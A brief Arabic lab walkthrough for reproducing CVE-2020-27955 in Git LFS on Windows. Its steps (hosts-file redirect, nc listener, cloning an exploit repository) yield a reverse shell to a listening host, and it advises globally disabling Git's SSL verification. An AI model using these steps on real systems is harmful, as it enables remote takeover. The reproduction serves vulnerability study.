إعادة إنتاج ثغرة CVE-2020-27955

1. قم بتنزيل إصدار Git-LFS المعرض للثغرة على جهاز ويندوز

رابط التحميل: https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1

2. قم بالتثبيت على جهاز ويندوز، ثم أضف المعلومات التالية إلى ملف hosts. 10.1.1.5 هو المضيف الذي يستمع على المنفذ 8888 عبر nc (يمكنك استبداله).

10.1.1.5 abcall.xyz

3. على المضيف 10.1.1.5، ابدأ الاستماع على المنفذ 8888 باستخدام nc

┌──(root㉿hostname)-[~]

└─# nc

Cmd line: -l -p 8888

4. في موجه الأوامر على جهاز ويندوز، أدخل الأمر التالي:

git clone https://github.com/z50913/CVE-2020-27955.git

5. ستحصل على شل موجه الأوامر لجهاز ويندوز على 10.1.1.5

أخرى

إذا واجهت مشكلة في شهادة SSL، يمكنك أولاً إدخال الأمر التالي لتعطيل التحقق من SSL، ثم إعادة تنفيذ clone:

git config --global http.sslverify false